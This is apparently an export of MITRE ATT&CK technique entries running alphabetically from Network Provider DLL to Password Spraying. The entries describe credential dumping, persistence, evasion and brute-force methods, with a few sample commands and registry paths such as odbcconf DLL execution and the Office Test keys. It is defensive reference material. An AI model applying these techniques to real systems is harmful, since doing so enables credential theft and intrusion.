T1556.008Network Provider DLLAdversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local mpnotify.exe process via RPC. The mpnotify.exe process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)

Adversaries can configure a malicious network provider DLL to receive credentials from mpnotify.exe.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the NPLogonNotify() function.(Citation: NPLogonNotify)

Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)
T1590.006Network Security AppliancesAdversaries may gather information about the victim’s network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information.(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).
T1046Network Service DiscoveryAdversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)
T1070.005Network Share Connection RemovalAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \system\share /delete command. (Citation: Technet Net Use)
T1126Network Share Connection RemovalAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \system\share /delete command. (Citation: Technet Net Use)
T1135Network Share DiscoveryAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.
T1040Network SniffingAdversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)

On network devices, adversaries may perform network captures using Network Device CLI commands such as monitor capture.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)
T1590.004Network TopologyAdversaries may gather information about the victim’s network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).
T1590.003Network Trust DependenciesAdversaries may gather information about the victim’s network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).
T1050New ServiceWhen operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service’s configuration information, including the file path to the service’s executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
T1095Non-Application Layer ProtocolAdversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
T1132.002Non-Standard EncodingAdversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
T1571Non-Standard PortAdversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)
T1003.003NTDSAdversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy
T1564.004NTFS File AttributesAdversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
T1096NTFS File AttributesEvery New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
T1027Obfuscated Files or InformationAdversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)
T1588Obtain CapabilitiesAdversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)
T1218.008OdbcconfAdversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR “C:\Users\Public\file.dll”}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
T1137Office Application StartupAdversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
T1137.001Office Template MacrosAdversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)

Word Normal.dotm location:

C:\Users&lt;username>\AppData\Roaming\Microsoft\Templates\Normal.dotm

Excel Personal.xlsb location:

C:\Users&lt;username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB

Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.
T1137.002Office TestAdversaries may abuse the Microsoft Office “Office Test” Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

There exist user and global Registry keys for the Office Test feature:

- HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf
- HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf

Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.
T1102.003One-Way CommunicationAdversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
T1003OS Credential DumpingAdversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
T1499.001OS Exhaustion FloodAdversaries may launch a denial of service (DoS) attack targeting an endpoint’s operating system (OS). A system’s OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.

Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)
T1137.003Outlook FormsAdversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)
T1137.004Outlook Home PageAdversaries may abuse Microsoft Outlook’s Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)
T1137.005Outlook RulesAdversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)
T1134.004Parent PID SpoofingAdversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
T1502Parent PID SpoofingAdversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA Scripting within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable Privilege Escalation (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
T1075Pass the HashPass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)
T1550.002Pass the HashAdversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to “overpass the hash.” Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.(Citation: Stealthbits Overpass-the-Hash)
T1550.003Pass the TicketAdversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, “overpassing the hash” involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
T1097Pass the TicketPass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)
T1110.002Password CrackingAdversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)

Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.
T1556.002Password Filter DLLAdversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)
T1174Password Filter DLLWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)
T1110.001Password GuessingAdversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target’s policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies. (Citation: Cylance Cleaver)

Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
- SNMP (161/UDP and 162/TCP/UDP)

In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as wlanAPI) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows “logon failure” event ID 4625.
T1555.005Password ManagersAdversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)

Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via Exploitation for Credential Access.(Citation: NVD CVE-2019-3610)
Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
T1201Password Policy DiscoveryAdversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as ‘pass123’; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain)Get-ADDefaultDomainPasswordPolicychage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. show aaashow aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).
T1110.003Password SprayingAdversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. ‘Password01’), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

